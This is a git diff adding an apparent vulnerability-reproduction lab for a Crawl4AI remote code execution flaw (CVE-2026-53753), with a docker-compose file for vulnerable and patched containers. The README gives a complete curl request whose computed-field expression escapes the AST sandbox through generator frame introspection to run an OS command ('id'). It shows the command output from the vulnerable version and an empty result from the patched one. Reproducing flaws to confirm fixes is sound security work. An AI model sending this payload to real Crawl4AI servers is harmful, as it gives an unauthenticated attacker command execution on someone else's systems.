google · mangeshwalsane2-hash · Aug 10, 2026 · Aug 27, 2026
diff --git a/crawl4AI/CVE-2026-53753/README.md b/crawl4AI/CVE-2026-53753/README.md
@@ -0,0 +1,47 @@
+# CVE-2026-53753: Crawl4AI Unauthenticated RCE (AST Sandbox Escape)
+
+Crawl4AI versions 0.8.6 and prior contain an unauthenticated remote code execution (RCE) vulnerability via computed field expression evaluation. An attacker can send a crafted JsonCssExtractionStrategy schema that escapes the AST allow-list using Python generator frame introspection (`gi_frame.f_back`), reaching real builtins and executing arbitrary OS commands under the container environment.
+
+## Vulnerable Version
+
+### Setup
+
+Start the vulnerable Crawl4AI Docker container (v0.8.6) on port 11235:
+
+```sh
+docker compose up -d crawl4ai-vuln
+```
+
+### Testing the vulnerability
+
+```sh
+curl -X POST -H 'Content-Type: application/json' localhost:11235/crawl -d "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"id\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}"
+```
+
+Response (Command execution result in "out"):
+
+```json
+{"success":true,"results":[{"url":"raw://<html><body><div id=\"x\">content</div></body></html>","html":"<html><body><div id=\"x\">content</div></body></html>","fit_html":"<html><body><div id=\"x\">content</div></body></html>","success":true,"cleaned_html":"<html><body><div id=\"x\">content</div></body></html>","media":{"images":[],"videos":[],"audios":[]},"links":{"internal":[],"external":[]},"downloaded_files":null,"js_execution_result":null,"screenshot":null,"pdf":null,"mhtml":null,"extracted_content":"[\n    {\n        \"out\": [\n            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)\\n\"\n        ]\n    }\n]","metadata":{},"error_message":"","session_id":null,"response_headers":{},"status_code":200,"ssl_certificate":null,"dispatch_result":null,"redirected_url":null,"redirected_status_code":null,"network_requests":null,"console_messages":null,"tables":[],"head_fingerprint":null,"cached_at":null,"cache_status":"miss","crawl_stats":{"attempts":1,"retries":0,"proxies_used":[{"proxy":null,"status_code":200,"blocked":false,"reason":""}],"fallback_fetch_used":false,"resolved_by":"direct"},"markdown":{"raw_markdown":"content\n","markdown_with_citations":"content\n","references_markdown":"\n\n## References\n\n","fit_markdown":"","fit_html":""}}],"server_processing_time_s":0.06825947761535645,"server_memory_delta_mb":0.98828125,"server_peak_memory_mb":146.00390625}
+```
+
+## Safe Version
+
+### Setup
+
+Start the patched Crawl4AI Docker container (v0.8.7) on port 11236 to confirm remediation:
+
+```sh
+docker compose up -d crawl4ai-patched
+```
+
+### Testing the vulnerability
+
+```sh
+curl -X POST -H 'Content-Type: application/json' localhost:11236/crawl -d "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"id\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}"
+```
+
+Response (not containing "out"):
+
+```json
+{"success":true,"results":[{"url":"raw://<html><body><div id=\"x\">content</div></body></html>","html":"<html><body><div id=\"x\">content</div></body></html>","fit_html":"<html><body><div id=\"x\">content</div></body></html>","success":true,"cleaned_html":"<html><body><div id=\"x\">content</div></body></html>","media":{"images":[],"videos":[],"audios":[]},"links":{"internal":[],"external":[]},"downloaded_files":null,"js_execution_result":null,"screenshot":null,"pdf":null,"mhtml":null,"extracted_content":"[]","metadata":{},"error_message":"","session_id":null,"response_headers":{},"status_code":200,"ssl_certificate":null,"dispatch_result":null,"redirected_url":null,"redirected_status_code":null,"network_requests":null,"console_messages":null,"tables":[],"head_fingerprint":null,"cached_at":null,"cache_status":"miss","crawl_stats":{"attempts":1,"retries":0,"proxies_used":[{"proxy":null,"status_code":200,"blocked":false,"reason":""}],"fallback_fetch_used":false,"resolved_by":"direct"},"markdown":{"raw_markdown":"content\n","markdown_with_citations":"content\n","references_markdown":"\n\n## References\n\n","fit_markdown":"","fit_html":""}}],"server_processing_time_s":0.06077146530151367,"server_memory_delta_mb":1.015625,"server_peak_memory_mb":147.25390625}
+```
diff --git a/crawl4AI/CVE-2026-53753/docker-compose.yml b/crawl4AI/CVE-2026-53753/docker-compose.yml
@@ -0,0 +1,20 @@
+version: '3.8'
+
+services:
+  crawl4ai-vuln:
+    image: unclecode/crawl4ai:0.8.6
+    container_name: cve-2026-53753-vuln
+    ports:
+      - "11235:11235"
+    environment:
+      - PYTHONUNBUFFERED=1
+    restart: unless-stopped
+
+  crawl4ai-patched:
+    image: unclecode/crawl4ai:0.8.7
+    container_name: cve-2026-53753-patched
+    ports:
+      - "11236:11235"
+    environment:
+      - PYTHONUNBUFFERED=1
+    restart: unless-stopped